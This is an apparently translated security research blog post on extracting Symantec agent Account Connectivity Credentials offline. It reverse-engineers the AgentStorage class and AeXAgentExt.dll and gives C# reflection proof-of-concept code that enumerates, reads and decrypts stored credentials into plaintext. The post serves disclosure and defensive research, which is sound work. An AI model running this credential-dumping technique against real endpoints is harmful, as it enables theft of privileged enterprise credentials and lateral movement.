离线提取赛门铁克账户连接凭证(ACCs)的技术分析

本文详细介绍了如何通过逆向工程赛门铁克代理的安全存储机制,离线提取账户连接凭证的技术方法,包括AgentStorage类的分析、AeXAgentExt.dll的接口调用以及密码解密过程。

离线提取赛门铁克账户连接凭证(ACCs)

目录

Rationale

当我尝试复现MDSec博客文章中描述的利用步骤,在特权上下文中检索ACCs时,有两件事困扰着我。首先,当我尝试解密从通知服务器获取的客户端策略blob时,出现了"access denied"错误。

其次,我不喜欢必须与通知服务器交互这一事实。我的意思是,一旦代理注册并检索了其策略,它应该将ACCs本地存储以便后续使用。因此,假设我们处于特权上下文并且可以模拟NT AUTHORITY\SYSTEM,我们应该能够在本地提取这些凭证,不是吗?让我们一探究竟……

Current Knowledge

在MDSec的文章中,提到了位于C:\ProgramData\Symantec\Symantec Agent\Ldb\的"代理安全存储文件"。他们观察到SMATool.exe访问了这些文件,但没有过多说明。这是合理的,因为除了它们似乎只包含加密数据外,没有太多可说的,而且需要进一步(痛苦的)逆向工程(这次是本机代码)来弄清楚如何解密它们,然后可能解码明文内容。

在之前的部分中,我们还看到代理的客户端策略存储在本地文件中,低权限用户可以访问,但ACCs的用户名和密码值被替换为以aexs://前缀开头的奇怪路径。

1
2
3
4
<PkgAccessCredentials
  UserName="aexs://AgentCore\Policy\{142F2372-E64D-43C0-A207-17DB2C0552C4}\{8A8A64CA-15B4-4371-A4A3-F24ECFF35754}"
  UserPassword="aexs://AgentCore\Policy\{142F2372-E64D-43C0-A207-17DB2C0552C4}\{854B3571-6DC3-45E8-B7D1-1647E9D81516}"
/>

通过简单的网络搜索关键词PkgAccessCredentialsaexs,我在Broadcom网站上找到了这篇KB文章。其中提供的堆栈跟踪显示了.NET堆栈跟踪,我们可以看到对命名空间Symantec.NSAgent、名为AgentStorage的类及其两个方法ReadItem (String pwszItemPath, UInt32 flags)ReadItemStr (String pwszItemPath, UInt32 flags)的引用。

基于这些信息,我们可以学习或猜测以下内容:

  • 名为AgentStorage的类可能明确表明存在一个内置包装器用于与此所谓的"代理安全存储"交互。
  • 名为pwszItemPath的参数可能表明我们之前看到的aexs://路径是用于引用此安全存储中对象的路径。

Agent Storage Class

幸运的是,我没有搜索太久。在通知服务器的二进制文件上使用各种关键词尝试几次后,我找到了一个有希望的候选程序集,名为Symantec.Deployment.PSComponent.dll

我们找到了Symantec.NSAgent.AgentStorage类!

以下是AgentStorage构造函数的简化版本,所有错误处理都已移除:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public AgentStorage(string sCryptoDll, uint dwReserved) {

    // [1] 从注册表中检索AeXAgentExt.dll的路径
    RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(
        "Software\\\\Altiris\\\\Altiris Agent\\\\Modules\\\\x64"
    );
    sCryptoDll = registryKey.GetValue("AeXAgentExt.dll");

    // [2] 使用非托管API LoadLibrary加载此本机库
    this.m_pStorageDll = NativeMethods.LoadLibrary(
        sCryptoDll                  // lpLibFileName
    );

    // [3] 获取序号为100的过程的地址
    IntPtr procAddress = NativeMethods.GetProcAddress(
        this.m_pStorageDll,         // hModule
        100                         // lpProcName
    );

    // [4] 调用非托管过程来初始化结构`AgentStorageInterface_V3`
    fnInitializeWrapper fnInitializeWrapper = Marshal.GetDelegateForFunctionPointer(
        procAddress,                // 非托管函数指针
        typeof(fnInitializeWrapper) // 要返回的委托类型
    );
    AgentStorageInterface_V3 asi = new AgentStorageInterface_V3
    {
        dwVersion = 3851534083U     // 0xe591bf03
    };
    uint num = fnInitializeWrapper(ref asi);

    this.m_pfnFreeMemory = Marshal.GetDelegateForFunctionPointer(
        asi.pfnFreeMemory,          // 非托管函数指针
        typeof(fnFreeMemory)        // 要返回的委托类型
    );

    // ...
}

它实现了以下步骤:

  1. 从注册表中检索AeXAgentExt.dll的路径
  2. 使用非托管API LoadLibrary加载此本机库
  3. 获取序号为100的过程的地址
  4. 调用此非托管过程来初始化结构AgentStorageInterface_V3

使用pe-bear快速查看本机DLL AeXAgentExt.dll显示它导出了3个函数:DllRegisterServerDllUnregisterServer(这是注册和注销COM对象的知名函数)以及一个序号为100(0x64)的未命名函数。

Agent Storage Interface

AgentStorageInterface_V3结构的布局如下。第一个成员是表示结构版本的无符号整数,而所有其他成员都是函数指针,正如我们在类构造函数代码中观察到的那样。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
internal struct AgentStorageInterface_V3
{
    public uint dwVersion;
    public IntPtr pfnFreeMemory;
    public IntPtr pfnReadItem;
    public IntPtr pfnWriteItem;
    public IntPtr pfnDeleteItem;
    public IntPtr pfnCopyItem;
    public IntPtr pfnEnumItems;
    public IntPtr pfnInitializeExpirableContext;
    public IntPtr pfnReleaseContext;
    public IntPtr pfnGetEncryptionKey;
    public IntPtr pfnEncryptData;
    public IntPtr pfnDecryptData;
    public IntPtr pfnDeleteStorage;
    // ...
}

下一步显然是使用像Ghidra这样的反汇编器打开本机DLL。二进制文件没有提供PDB文件,因此我们没有关于函数名称的信息。下面截图显示的名称是基于.NET程序集的AgentStorageInterface_V3结构中存在的名称手动填充的。

这个函数的作用非常简单。它接收一个对AgentStorageInterface结构的引用。它检查其第一个成员(dwVersion)以确保其版本号正确,如果是,则使用适当的(本机)函数指针填充所有其他字段。

AgentStorage类的方法主要是这些非托管API的包装器。因此,它们处理所有非托管内存分配,并在相关或必要时负责将数据转换为托管类型和从托管类型转换。

1
2
3
4
5
6
7
8
9
public byte[] GetEncryptionKey(uint flags);
public byte[] ReadItem(string pwszItemPath, uint flags);
public SecureString ReadItemStr(string pwszItemPath, uint flags);
public void WriteItem(string pwszItemPath, byte[] data, uint flags);
public void DeleteItem(string pwszItemPath, uint flags);
public List<string> EnumItems(string pwszItemPath, uint flags);
private byte[] DecryptData(byte[] encryptedData, uint flags);
public byte[] EncryptData(byte[] pbyData, uint flags, byte[] pbyKey);
// ...

如果你还记得我之前显示的堆栈跟踪,我们特别对方法ReadItemStr()ReadItem()感兴趣。ReadItemStr()没有什么特别之处,它只是调用ReadItem()来获取表示Unicode字符串的缓冲区,并将其转换为.NET SecureString

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public SecureString ReadItemStr(string pwszItemPath, uint flags) {
    byte[] array = this.ReadItem(pwszItemPath, flags);
    SecureString secureString = new SecureString();
    char[] chars = Encoding.Unicode.GetChars(array);
    try {
        foreach (char c in chars) {
            secureString.AppendChar(c);
        }
    }
    finally {
        Array.Clear(array, 0, array.Length);
        Array.Clear(chars, 0, chars.Length);
    }
    return secureString;
}

方法ReadItem()是实际调用代理存储接口的函数fnReadItem()的方法。它传递一个DATA_BLOB结构,如果成功,该结构将填充指向明文数据的缓冲区指针。然后将缓冲区复制到托管字节数组,然后通过调用fnFreeMemory()(代理存储接口的)释放。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public byte[] ReadItem(string pwszItemPath, uint flags) {
    DATA_BLOB data_BLOB = new DATA_BLOB {
        cbData = 0U,
        pbData = IntPtr.Zero
    };
    uint num = this.m_pfnReadItem(this._storageContext, pwszItemPath, ref data_BLOB, flags);
    byte[] array = new byte[data_BLOB.cbData];
    Marshal.Copy(data_BLOB.pbData, array, 0, (int)data_BLOB.cbData);
    this.m_pfnFreeMemory(ref data_BLOB);
    return array;
}

Proof-of-Concept

我们现在拥有开始试验此程序集所需的所有信息。目前,想法是创建一个简单的.NET控制台应用程序,使我们能够确认这些aexs://路径是否确实用于访问安全存储中存储的项目。

只有一个小问题。AgentStorage类被声明为internal。这意味着我们不能仅仅创建一个.NET应用程序并在我们的代码中引用该程序集来访问和使用它。我们必须改用.NET Reflection。

在所有可用的包装器方法中,我觉得EnumItems()是一个很好的起点。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 获取本机库AeXAgentExt.dll的路径
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(
    "Software\\\\Altiris\\\\Altiris Agent\\\\Modules\\\\x64"
);
string sCryptoDll = (string)registryKey.GetValue("AeXAgentExt.dll");

// 使用反射实例化AgentStorage类
var asm = Assembly.LoadFile("C:\\Temp\\Symantec.Deployment.PSComponent.dll");
var type = asm.GetType("Symantec.NSAgent.AgentStorage");
var ctors = type.GetConstructors();
var obj = ctors[0].Invoke(
    new object[] {(String)sCryptoDll, (UInt32)0 }
);

// 枚举策略ID为{142F2372-E64D-43C0-A207-17DB2C0552C4}的项目
var policy_path = "aexs://AgentCore\\Policy\\{142F2372-E64D-43C0-A207-17DB2C0552C4}";
var mthd_enumitems = type.GetMethod("EnumItems");
var res = (List<string>)mthd_enumitems.Invoke(
    obj,
    new object[] { policy_path, (UInt32)0 }
);

Console.WriteLine(policy_path);

foreach (var item in res) {
    Console.WriteLine("\\__ " + item);
}

它起作用了,我们可以看到EnumItems()返回了2个项目,正是客户端策略文件中引用的那些。

  • {1BBC72A2-C661-4E5D-A267-2456727165D7} → UserName
  • {C14B5C86-C1B8-405E-A049-EF01E21761C2} → UserPassword

我们期望这两个项目是字符串,所以接下来要做的就是尝试使用ReadItemStr()读取它们。此方法将其从存储中读取的数据转换为SecureString,但我们可以使用其辅助方法ConvertToUnsecureString()来获取原始字符串。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// 获取本机库AeXAgentExt.dll的路径...
// 使用反射实例化AgentStorage类...

var mthd_readitemstr = type.GetMethod("ReadItemStr");
SecureString res_securestring = (SecureString)mthd_readitemstr.Invoke(
    obj,
    new object[] { args[0], (UInt32)0 }
);

var mthd_converttounsecurestring = type.GetMethod("ConvertToUnsecureString");
string res = (string)mthd_converttounsecurestring.Invoke(
    obj,
    new object[] { res_securestring }
);

Console.WriteLine(res);

如预期的那样,它起作用了,我们成功检索到了ACCs的用户名和密码。嗯,差不多。

Password Decryption

用户名是明文,但实际密码仍然是加密的。我们在之前的博客文章中已经看到了如何解密它。问题是我们使用了客户端策略提供的AES密钥来做到这一点,但我们这里没有这些信息。所以,我们首先需要找到这个密钥存储在哪里。除非有更简单的方法。

你可能已经注意到我之前强调的方法列表中包含两个名为EncryptData()DecryptData()的条目。这两个函数很可能正是用于生成和处理那些以Aw...开头的base64编码的blob。

因此,我在代表ACC密码的base64编码blob上测试了DecryptData()。此方法将字节数组作为输入。所以,我首先将从安全存储获取的数据进行base64解码,然后将生成的字节数组作为参数传递。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// 获取本机库AeXAgentExt.dll的路径...
// 使用反射实例化AgentStorage类...

// 从命令行获取base64 blob并解码
byte[] encrypted_data = Convert.FromBase64String(args[0]);

// 将原始数据传递给DecryptData
var mthd_decryptdata = type.GetMethod("DecryptData");
byte[] decrypted_data = (byte[])mthd_decryptdata.Invoke(
    obj,
    new object[] { encrypted_data, (UInt32)0 }
);

Console.WriteLine(Encoding.Unicode.GetString(decrypted_data));

它没有任何问题地工作了!我们得到了明文密码!不需要摆弄或进行痛苦的逆向工程。

Conclusion

假设我们拥有本地管理员权限,并且可以模拟NT AUTHORITY\SYSTEM,则可以在离线状态下提取明文账户连接凭证,而无需与通知服务器交互。

上述技术唯一的问题是它依赖于一个仅存在于通知服务器上的程序集,就像SMATool.exe(参见之前的博客文章)一样。因此,我不能在不提供此程序集的情况下发布概念验证,我们知道这可能会如何结束。

问题是,这个Symantec.Deployment.PSComponent.dll程序集只是一个.NET包装器。它所做的一切就是利用本机库AeXAgentExt.dll,该库存在于终端机器上。因此,我创建了一个C/C++工具SMAStorageDump,它利用AeXAgentExt.dll递归地从代理安全存储中提取所有数据。最重要的是,当它找到以Aw...开头的字符串时,它会尝试解码并自动解密其内容。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计